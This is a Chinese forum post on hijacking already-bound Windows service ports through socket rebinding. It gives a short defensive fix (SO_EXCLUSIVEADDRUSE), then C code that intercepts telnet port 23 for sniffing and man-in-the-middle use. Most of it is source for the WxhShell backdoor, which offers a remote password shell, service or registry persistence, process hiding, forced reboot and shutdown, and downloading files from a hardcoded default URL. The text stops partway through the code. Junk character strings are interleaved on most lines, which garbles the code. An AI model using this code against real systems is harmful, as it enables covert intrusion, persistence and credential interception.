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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `a83bF35  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0|.jIix;  
]A5Y/dd  
  saddr.sin_family = AF_INET; >KL=(3:":p  
Hqs!L`oW)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9cHo~F|ur  
~^jPE)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K1^7v}P  
w^Yo)"6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }X?#"JFX?  
lg8@^Pm$r;  
  这意味着什么?意味着可以进行如下的攻击: /]^Y\U^  
^C1LQ Z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 KE ?NQMU  
G%FZTA6a  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) jU~ x^Y  
e5 L_<V^Jo  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 WG3!M/4r H  
\pfa\, rW  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  w;yzgj:n&f  
R~T}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _dRB=bl"O  
VnVBA-#r|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^3BPOK[*gB  
i%[gNh  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *asv^aFpS  
iiQ q112`  
  #include ?&;_>0P  
  #include =PciLh  
  #include C\;l)h_{  
  #include    qFwt^w  
  DWORD WINAPI ClientThread(LPVOID lpParam);   icIn>i<m  
  int main() Zp3-Yo w2  
  { >h)kbsSU0z  
  WORD wVersionRequested; bXvO+I<  
  DWORD ret; `-.2Z 0  
  WSADATA wsaData; pB\:.?.pd  
  BOOL val; DqT<bNR1*;  
  SOCKADDR_IN saddr; Y(bB7tR  
  SOCKADDR_IN scaddr; r'j88)^  
  int err; 2H}y1bkW  
  SOCKET s; \fUX_0k9,  
  SOCKET sc; z4Zm%  
  int caddsize; %jy$4qAf%  
  HANDLE mt; S4`X^a}pY  
  DWORD tid;   ` PQQU~^  
  wVersionRequested = MAKEWORD( 2, 2 ); SMD*9&,  
  err = WSAStartup( wVersionRequested, &wsaData ); [U/h'A.j  
  if ( err != 0 ) { v:/\; 2  
  printf("error!WSAStartup failed!\n"); NI#]#yM+  
  return -1; Fz';H  
  } "A"YgD#t  
  saddr.sin_family = AF_INET; Qy0w'L/@  
   bf0,3~G,P  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o+&Om~W  
JR#4{P@A  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); j :B/ FL  
  saddr.sin_port = htons(23); uR :EH.K  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R%RxF=@  
  { G(.G>8pf  
  printf("error!socket failed!\n"); Ba8=nGa4KY  
  return -1;  Q&xH  
  } - [h[  
  val = TRUE; p$9Aadi]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 OU/}cu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Lm~<BBp.  
  { ;7qIm83  
  printf("error!setsockopt failed!\n"); 38p"lT  
  return -1; G9^`cTvv'8  
  } Z! O4hA4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~q}L13^k  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (g@\QdH`|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mdEJ'];AH  
*lvADW5e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) x C&IR*  
  { zplv.cf#q  
  ret=GetLastError(); RB+Jp  
  printf("error!bind failed!\n"); Hvm}@3F|  
  return -1; h;jO7+W  
  } 3 R+e  
  listen(s,2); ah:["< z<  
  while(1) b(GV4%  
  { dT*Yv`h  
  caddsize = sizeof(scaddr); H5x7)1Ir|  
  //接受连接请求 Kh\ 7%>K#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); UgGa]b[9A  
  if(sc!=INVALID_SOCKET) 'wk,t^)  
  { 9=ygkPY  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $ ubU"  
  if(mt==NULL) IU"  
  { MGm*({%  
  printf("Thread Creat Failed!\n"); )1 T2u  
  break; ]}! @'+=  
  } iVn4eLK^v  
  } JkJ @bh Eu  
  CloseHandle(mt); ")No t$8  
  } |T""v_q  
  closesocket(s); 'JMW.;Lh?X  
  WSACleanup(); *^|\#UIk  
  return 0; ?d-w#<AiV  
  }   BA: x*(%~  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'c7nh{F  
  { x^[,0?y2  
  SOCKET ss = (SOCKET)lpParam; 6]b"n'G  
  SOCKET sc; Gy/w #4xj  
  unsigned char buf[4096]; uKP4ur@1  
  SOCKADDR_IN saddr; FSA%,b; U  
  long num; C*b[J  
  DWORD val; 9KU&M"Yq&i  
  DWORD ret; /ovVS6Ai  
  //如果是隐藏端口应用的话,可以在此处加一些判断 d-_V*rYU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   X?'cl]1?  
  saddr.sin_family = AF_INET; _M`ZF*o=c  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :,0(aB  
  saddr.sin_port = htons(23); ~r.R|f]IQ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (L*GU7m;  
  { jXE:aWQht  
  printf("error!socket failed!\n"); B>L7UQ6_[  
  return -1; gUru=p  
  } {1OxJn1hd  
  val = 100; $o?U=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jG[Vp b  
  { 6/8K2_UeoW  
  ret = GetLastError(); (NvjX})eh  
  return -1; T"z<D+ pN  
  } Jr !BDg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tdH[e0x B  
  { gPKf8{#%e  
  ret = GetLastError(); r& a[ ?  
  return -1; G(a5@9F  
  } RhE~Rwbx  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [j0[c9.p [  
  { +=8wZ]  
  printf("error!socket connect failed!\n"); mF;mJq<d  
  closesocket(sc); h+1|.d  
  closesocket(ss); skcyLIb  
  return -1; `MSig)V  
  } cuQ!"iH  
  while(1) &!CVF  
  { 754MQK|g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /9R0}4i7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 M(I%y0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 X vaIOt>A  
  num = recv(ss,buf,4096,0); }i~k:kmV  
  if(num>0) 1<BKTMBq?{  
  send(sc,buf,num,0); Dds-;9  
  else if(num==0) K'ZNIRr/ C  
  break; !vgY3S0?rq  
  num = recv(sc,buf,4096,0); ;0 B1P|7zK  
  if(num>0) _&/`-"3y  
  send(ss,buf,num,0); Z0L($  
  else if(num==0) AabQ)23R2  
  break; =PRQ3/?5  
  } n?@zp<  
  closesocket(ss); s=n4'`y1  
  closesocket(sc); Qfn:5B]tI  
  return 0 ; #<*.{"T  
  } s?EQ  
C(XV YND3  
t<Acq07  
========================================================== e3 v^j$  
1nAm\/&  
下边附上一个代码,,WXhSHELL rC-E+%y  
oPmz$]_Z  
========================================================== u8zL[] >  
;l*%IMB  
#include "stdafx.h" +\T8`iCFB  
o`S``?`^)^  
#include <stdio.h> PeIx41. +s  
#include <string.h> r W`7<3  
#include <windows.h> 5 b} w  
#include <winsock2.h> S&!(h {O  
#include <winsvc.h> zo ?RFn  
#include <urlmon.h> Y#9W]78He  
n|{K_! f  
#pragma comment (lib, "Ws2_32.lib") 7 XxZF43  
#pragma comment (lib, "urlmon.lib") E5^\]`9P  
>N|?>M*  
#define MAX_USER   100 // 最大客户端连接数 ;mU;+~YE  
#define BUF_SOCK   200 // sock buffer EVqW(|Xg  
#define KEY_BUFF   255 // 输入 buffer h< r(:.%!}  
DJ"PP 5d  
#define REBOOT     0   // 重启 ,m#  
#define SHUTDOWN   1   // 关机 3lp'U&3`5  
Lm4`O %  
#define DEF_PORT   5000 // 监听端口 J>A9]%M  
 +|LM"  
#define REG_LEN     16   // 注册表键长度 5C!zEI)  
#define SVC_LEN     80   // NT服务名长度 }%u #TwZ  
r ]7: ?ir  
// 从dll定义API X9Ch(nWX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :PT{>r[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \t!~s^Oox  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,JZ>)(@)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AO7[SHDZ  
#'Y lO -C  
// wxhshell配置信息 oy8jc];SO  
struct WSCFG { `> %QCc\  
  int ws_port;         // 监听端口 gE6'A  
  char ws_passstr[REG_LEN]; // 口令 A r!0GwE+  
  int ws_autoins;       // 安装标记, 1=yes 0=no t%Jk3W/f  
  char ws_regname[REG_LEN]; // 注册表键名 w7@`:W  
  char ws_svcname[REG_LEN]; // 服务名 N#ggT9>X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i3w~&y-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gQPw+0w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QJ XP -  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <<0sv9qw1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \\k=N(n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <Z%=lwtX  
,\6Vb*G|E>  
}; 712nD ?>  
G`FYEmD  
// default Wxhshell configuration (mIjG)4t  
struct WSCFG wscfg={DEF_PORT, p]mN)  
    "xuhuanlingzhe", {mJ' Lb0;  
    1, kkjugm{D7  
    "Wxhshell", 2=_$&oT**  
    "Wxhshell", EHC7b^|3}  
            "WxhShell Service", ~X3g_<b_8  
    "Wrsky Windows CmdShell Service", F}}!e.>c  
    "Please Input Your Password: ", #yH+ENp0   
  1, tDRR3=9pX  
  "http://www.wrsky.com/wxhshell.exe", ]6e(-v!U  
  "Wxhshell.exe" Jc#D4e1#  
    }; 76tn`4NIP  
eUy*0  
// 消息定义模块 %R >n5m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1Vu#:6%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e`n ZiM>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >/A]C$?3  
char *msg_ws_ext="\n\rExit."; WML--<dU  
char *msg_ws_end="\n\rQuit."; C-y MWr  
char *msg_ws_boot="\n\rReboot..."; ~q3O,bb{   
char *msg_ws_poff="\n\rShutdown..."; D6L+mTN  
char *msg_ws_down="\n\rSave to "; aZb\uMePK  
 >:-e  
char *msg_ws_err="\n\rErr!"; HEVj K$  
char *msg_ws_ok="\n\rOK!"; "Wj{+ |f  
G[>NP#P  
char ExeFile[MAX_PATH]; u+j\PWOtm  
int nUser = 0; "9_$7.q<y  
HANDLE handles[MAX_USER]; I!L J&>  
int OsIsNt; TaRPMKk  
Cx2# 0$  
SERVICE_STATUS       serviceStatus; b$b;^nly  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bA)nWWSg=  
J1G}l5N  
// 函数声明 AIg4u(j  
int Install(void); 2fTuIS<yr  
int Uninstall(void); 86=W}eV1r  
int DownloadFile(char *sURL, SOCKET wsh); blQ&QQL  
int Boot(int flag); X]=eC6M}:V  
void HideProc(void); GTR*3,rw  
int GetOsVer(void); h[>pC"s?K  
int Wxhshell(SOCKET wsl); tu}!:5xi  
void TalkWithClient(void *cs); xE 8?%N U  
int CmdShell(SOCKET sock); #^L&H oo6  
int StartFromService(void); ^s{Ff+]W  
int StartWxhshell(LPSTR lpCmdLine); 0#WN2f, <:  
Uoe{,4T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4:/V|E\D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y^C5_w(^jZ  
Z^>4qf,k  
// 数据结构和表定义 D3 C7f'  
SERVICE_TABLE_ENTRY DispatchTable[] = hP)Zm%@0f  
{ C][$0  
{wscfg.ws_svcname, NTServiceMain}, fB+h( 2N~  
{NULL, NULL} F%6wdM W  
}; o-@01_j  
6bPxEILm  
// 自我安装 UDJjw  
int Install(void) ye.6tlW  
{ oks;G([  
  char svExeFile[MAX_PATH]; @%,~5{Ir  
  HKEY key; I(*3n"  
  strcpy(svExeFile,ExeFile); I,hw0e  
uA#K59E+  
// 如果是win9x系统,修改注册表设为自启动 [\W&  
if(!OsIsNt) { 4H6Fq*W{k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M[`[+5v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A&M_ J  
  RegCloseKey(key); _3aE]\O[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ca0s m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s6~;)(r  
  RegCloseKey(key); }? _KZ)  
  return 0; 1O`V_d)  
    } Po)U!5Tm  
  } YD[HBF)~j  
} 5[4wN( )  
else { qHub+"2  
_|u}^MLO  
// 如果是NT以上系统,安装为系统服务 AJ}FHym_ZQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ca'BE#q  
if (schSCManager!=0) 44 u)F@)  
{ Yk|6?e{+)  
  SC_HANDLE schService = CreateService sbmtx/%U  
  ( +bE{g@%@ +  
  schSCManager, WJD2(el  
  wscfg.ws_svcname, jQ V[zcM  
  wscfg.ws_svcdisp, )YAa7\Od  
  SERVICE_ALL_ACCESS, vcFR Td  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , He=C\"  
  SERVICE_AUTO_START, J:Fq ip  
  SERVICE_ERROR_NORMAL, qGA|.I9,  
  svExeFile, f5*qlQJFz\  
  NULL, ZR\N~.  
  NULL, S a +Y/  
  NULL, }*(_JR4G  
  NULL, sm`c9[E  
  NULL 0;l~B  
  ); h}a}HabA  
  if (schService!=0) m FTuqujO  
  { RFRXOyGz$  
  CloseServiceHandle(schService); ?xqS#^Z  
  CloseServiceHandle(schSCManager); $l*?Ce:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )8C`EPe  
  strcat(svExeFile,wscfg.ws_svcname); m538p.(LIR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X|a{Z*y;r*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q~}oU5  
  RegCloseKey(key); 7dY_b  
  return 0; 6B8!}6Ojc  
    } .T3N"}7[  
  } z0rYzn?MR  
  CloseServiceHandle(schSCManager); cjN)3L{  
} ,y]-z8J  
} v)Y)tu>  
K@7%i|H  
return 1; )zxb]Pg+  
} L(yUS)O  
[e` | <  
// 自我卸载 D \i]gfu8W  
int Uninstall(void) 6]iU-k0b  
{ W+a/>U  
  HKEY key; )!-gT  
^0v3NG6  
if(!OsIsNt) { W!<7OA g$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C_N|o|dX  
  RegDeleteValue(key,wscfg.ws_regname); }W'j Dz7O  
  RegCloseKey(key);  [p6:uNo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 82@^vX  
  RegDeleteValue(key,wscfg.ws_regname); ?7Cm+J  
  RegCloseKey(key); Zy+ERaF|]  
  return 0; EK4%4<"  
  } {3  
} _5rKuL  
} c~tl0XU1  
else { rhkKK_  
|Lg2;P7\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MZ}0.KmaZ  
if (schSCManager!=0) T */I4"  
{ ,mz;$z6i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }OEL] 5  
  if (schService!=0) i!2k f  
  { FQ4R>@@5  
  if(DeleteService(schService)!=0) { 26/<\{q~  
  CloseServiceHandle(schService); a"-uJn  
  CloseServiceHandle(schSCManager); dI\_I]  
  return 0; `:=1*7)?  
  } ;J|t-$Z  
  CloseServiceHandle(schService); w=XIpWl  
  } !M8_PC*a  
  CloseServiceHandle(schSCManager); 4tm%F\Izy  
} tn$TyCzckW  
} ^>E>\uz0v  
~u$ cX1M  
return 1; !U% |pa  
} ^>an4UJ t  
[TA.|7&  
// 从指定url下载文件 /!0&b?  
int DownloadFile(char *sURL, SOCKET wsh) Xb:* KeZq  
{ kKlNhP(  
  HRESULT hr; </;e$fh`  
char seps[]= "/"; {{G3^ysa  
char *token; AM=,:k$  
char *file; 4}DFCF%B  
char myURL[MAX_PATH]; _OG9wi(Fpx  
char myFILE[MAX_PATH]; )yyH_Ax2  
02Vfg42  
strcpy(myURL,sURL); a2.6 S./  
  token=strtok(myURL,seps); LC]0c)v#  
  while(token!=NULL) /4(HVua  
  { =!L}/Dl  
    file=token; }kt%dDU  
  token=strtok(NULL,seps); P@@MQ[u?!.  
  } f#&z m} t  
}6^5mhsL  
GetCurrentDirectory(MAX_PATH,myFILE); L E\rc A  
strcat(myFILE, "\\"); Tl yyJ{~  
strcat(myFILE, file); JRC2+BU /  
  send(wsh,myFILE,strlen(myFILE),0); w=fWW^>bP  
send(wsh,"...",3,0); 2z{B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N4;g"k b  
  if(hr==S_OK) ,j XK  
return 0; O>~@>/#  
else |aenQA#  
return 1; JYWoQ[ZO#>  
Q   
} W#U|;@"  
p^ (Z  
// 系统电源模块 w#)u+^-  
int Boot(int flag) T(u; <}e@[  
{ +JYb)rn$^  
  HANDLE hToken; tRI<K  
  TOKEN_PRIVILEGES tkp; "y~*1kBu  
q`mxN!1[  
  if(OsIsNt) { sDBSc:5+e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~8&->?{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ! 7V>gWhR  
    tkp.PrivilegeCount = 1; H_@6!R2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DNZ,rL:h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b4wT3  
if(flag==REBOOT) { }&+,y<>   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _*UI}JtlS  
  return 0; :q3w;B~  
} 3:Nc`tM_  
else { 3PvxU|*F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U;iCH  
  return 0; Gjeb)Y6N  
} g"" 1\rc=  
  } MJX4;nbl  
  else { J>#hu3&UOQ  
if(flag==REBOOT) { Pqx?0 f)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jY\z+lW6A  
  return 0; >{ {ds--  
} t0fgG/f'  
else { @D-I@Cyl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %r.OV_04  
  return 0; &I=o1F2B)  
} i/*)1;xsk  
} dH5*%  
hN K wQ  
return 1; 43h06X`  
} HqsqUS3[  
[2xu`HT02  
// win9x进程隐藏模块 Y[)mHs2  
void HideProc(void) <w}^Z}fpk&  
{ .!<yTh  
p4IyKry,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @{RhO|UR  
  if ( hKernel != NULL ) 3| w$gG;Y  
  { Z[VrRT,\c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0xDn!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I}u\ov_Su  
    FreeLibrary(hKernel); U}:+Hz9  
  } i 1w ]j  
evZP*N~G  
return; DqY"N ]  
} l"JM%LV  
@ NDcO,]  
// 获取操作系统版本 h-Y>>l>PW0  
int GetOsVer(void) Tv'1IE  
{ ]:@{tX 7c  
  OSVERSIONINFO winfo; 6X9$T11Vc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |APOTQV  
  GetVersionEx(&winfo); c nv%J}wq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZzBaYoNy[0  
  return 1; +}at#%1@  
  else _;^x^  
  return 0; Oto8?4[n  
} O7IYg;  
vh&~Y].W Y  
// 客户端句柄模块 p @q20>^u  
int Wxhshell(SOCKET wsl) 5N>flQ  
{ hd9~Zw]V  
  SOCKET wsh; 72RTEGy  
  struct sockaddr_in client;  nm`( ;<W  
  DWORD myID; %JPr 7 }  
hj"JmF$m  
  while(nUser<MAX_USER) kD+#|f  
{ Zs}h>$E5_B  
  int nSize=sizeof(client); PW%ith1)<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -*[)CR-{  
  if(wsh==INVALID_SOCKET) return 1; "LDNkw'  
L'$\[~Ug  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yj'lHC  
if(handles[nUser]==0) > .}G[C  
  closesocket(wsh); X} V]3  
else %4rlB$x  
  nUser++; xe6V7Wi/Tt  
  } KXx;~HtO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gktlwiCZ  
X ]&`"Z]  
  return 0; 82r{V:NCK)  
} !7~4`D c6U  
%.Btf3y~  
// 关闭 socket 2vB,{/GXP  
void CloseIt(SOCKET wsh) GD}rsBQNkJ  
{ fA?Wf[`x  
closesocket(wsh); 4MDVR/Z7  
nUser--; 'HfI~wN  
ExitThread(0); [7x;H  
} xS/=9l/G  
X`&Us  
// 客户端请求句柄 n::i$ZUdK  
void TalkWithClient(void *cs) =; n>#<  
{ ^"4?Q  
jJYCGK$=  
  SOCKET wsh=(SOCKET)cs; g3vbskY|  
  char pwd[SVC_LEN]; SZ4y\I  
  char cmd[KEY_BUFF]; NE`;=26c  
char chr[1]; tjV63`LD  
int i,j; v@2?X4n  
He4q-\ht  
  while (nUser < MAX_USER) { S9[Up}`  
?5Z-w  
if(wscfg.ws_passstr) { [`h,Ti!m<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R.* k7-(;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wrCV&2CG  
  //ZeroMemory(pwd,KEY_BUFF); JSh'iYJ .  
      i=0; *S <I!7Q  
  while(i<SVC_LEN) { >~_>.R+{  
/;Cx|\  
  // 设置超时 N{RHbSa(  
  fd_set FdRead; nWYfe-zQxg  
  struct timeval TimeOut; cbou1Ei   
  FD_ZERO(&FdRead); uVZm9Sp  
  FD_SET(wsh,&FdRead); JKp@fQT *  
  TimeOut.tv_sec=8; ?JRfhJ:j  
  TimeOut.tv_usec=0; 4u|6^ wu.I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >4>. Ycp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [KO\!u|?YS  
FDFVhcr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e6jdSn  
  pwd=chr[0]; xXV15%&  
  if(chr[0]==0xd || chr[0]==0xa) { b0%#=KMi  
  pwd=0; gi@&Mr)fS  
  break; DT;;4- {  
  } r!>=G%  
  i++; n#GHa>p.-  
    } _fj@40i M  
Um/ g&k  
  // 如果是非法用户,关闭 socket JZyEyN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [sPLu)q2  
} 75Bn p9  
)d {8Cu6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y'6P ~C;v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u4=ulgi  
hoPh#? G  
while(1) { .b*-GWx  
JK XIxw>q  
  ZeroMemory(cmd,KEY_BUFF); L(`q3>iC4.  
6NFLk+kqN  
      // 自动支持客户端 telnet标准   g2r8J0v  
  j=0; =o"sBVj  
  while(j<KEY_BUFF) { %HZ!s `w_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X~; *zYd5  
  cmd[j]=chr[0]; ;P|v'NNI  
  if(chr[0]==0xa || chr[0]==0xd) { l_q1h]/   
  cmd[j]=0; jI}{0LW&F&  
  break; N~yGtnW  
  } 6Vu??qBy  
  j++; @yPI$"Ma  
    } V3pn@'pr  
=PBJ+"DQs  
  // 下载文件 ^dhtc% W>  
  if(strstr(cmd,"http://")) { .|kp`-F51  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); = 6w(9O  
  if(DownloadFile(cmd,wsh)) t9 id^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {K=[Fu=  
  else {}PBYX R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zgpv I~Ck  
  } ORV'dr  
  else { 37,)/8]lG  
/z,+W9`  
    switch(cmd[0]) { M^A;tPw  
  Q F_K^(  
  // 帮助 N aiZU  
  case '?': { o648 xUP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l>>, ~  
    break; @2$iFZq~  
  } ws}>swR,  
  // 安装 g!;Hv  
  case 'i': { q/tC/V%@(  
    if(Install()) 2ld0w=?+eu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .3,Ow(3l  
    else p@xK`=Urb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;V~~lcD&Y`  
    break; }JWk?  
    } [SLBA_d  
  // 卸载 I03 45Hc  
  case 'r': { [Hp"a^~r|  
    if(Uninstall()) 3D7phq>.q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )N&v. w  
    else 3PZwz^oRh9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /`VtW$9-  
    break; .mS'c#~5Y  
    } @)wNINvD  
  // 显示 wxhshell 所在路径 Ne,u\q3f  
  case 'p': { x~O_v  
    char svExeFile[MAX_PATH]; n1)m(,{  
    strcpy(svExeFile,"\n\r"); ,7Lu7Q  
      strcat(svExeFile,ExeFile); ~dqEUu!C  
        send(wsh,svExeFile,strlen(svExeFile),0); O/Wc@Ln  
    break; m&#a M8:\  
    } cvf#^Cu   
  // 重启 Z,Tv8;  
  case 'b': { # OQ(oyT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #6<9FY#  
    if(Boot(REBOOT)) 9Lxj ]W2^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]hkway  
    else { FmRa]31W  
    closesocket(wsh); e6?h4}[+*  
    ExitThread(0); ;yH1vX  
    } vN4g#,<  
    break; D Psf]  
    } r5?qz<WW~  
  // 关机 .@ElfPP(L  
  case 'd': { #G ZGk?  
